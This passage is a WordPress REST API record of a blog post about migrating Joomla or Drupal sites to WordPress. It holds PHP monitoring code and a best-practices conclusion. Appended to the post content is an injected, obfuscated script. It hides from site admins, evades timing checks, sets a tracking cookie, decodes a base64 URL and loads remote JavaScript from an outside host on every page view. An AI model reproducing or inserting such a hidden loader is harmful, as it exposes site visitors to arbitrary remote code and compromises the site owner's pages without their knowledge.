class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (count($wpdb-&gt;queries) &gt; 100) {<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;error_log(&#8220;High query count detected: &#8221; . count($wpdb-&gt;queries));<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>&nbsp;&nbsp;&nbsp;&nbsp;});<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>}<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>add_action(&#8216;init&#8217;, &#8216;setup_migration_monitoring&#8217;);<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>?&gt;<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Conclusion and Best Practices<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Migrating from Joomla or Drupal to WordPress is a complex undertaking that requires meticulous planning, technical expertise, and thorough testing. The key to success lies in understanding the fundamental differences between these systems and approaching the migration as a complete data transformation project rather than a simple copy operation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Critical Success Factors:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Plan extensively<\/strong> before writing any code<\/li>\n\n\n\n<li><strong>Test everything<\/strong> in a staging environment first<\/li>\n\n\n\n<li><strong>Preserve SEO value<\/strong> through proper URL mapping and redirects<\/li>\n\n\n\n<li><strong>Maintain data integrity<\/strong> through comprehensive validation<\/li>\n\n\n\n<li><strong>Document all customizations<\/strong> for future maintenance<\/li>\n\n\n\n<li><strong>Train stakeholders<\/strong> on WordPress differences<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Post-Migration Maintenance:<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Continue monitoring your migrated site for at least 30 days after launch. Keep migration scripts and documentation for reference, as you may need to perform additional data cleanup or handle edge cases that weren&#8217;t caught during initial testing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The investment in a proper migration process pays dividends in the long term through improved site performance, easier content management, and the vast ecosystem of WordPress plugins and themes available for future enhancements.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Remember: A successful migration isn&#8217;t just about moving data\u2014it&#8217;s about creating a better, more maintainable website that serves your users and business goals more effectively.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Migrating from Joomla or Drupal to WordPress isn&#8217;t just about moving content; it&#8217;s about restructuring entire data architectures, preserving SEO rankings, and ensuring zero downtime during the transition. This comprehensive guide covers everything from database schema mapping to advanced URL preservation techniques that most tutorials skip. Whether you&#8217;re dealing with a simple blog migration or [&hellip;]<\/p>\n","protected":false},"author":15,"featured_media":13036,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[369,112],"tags":[],"class_list":["post-12710","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cms","category-wordpress-hosting"],"_links":{"self":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts\/12710","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/comments?post=12710"}],"version-history":[{"count":2,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts\/12710\/revisions"}],"predecessor-version":[{"id":13773,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/posts\/12710\/revisions\/13773"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/media\/13036"}],"wp:attachment":[{"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/media?parent=12710"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/categories?post=12710"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nestnepal.com\/blog\/wp-json\/wp\/v2\/tags?post=12710"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}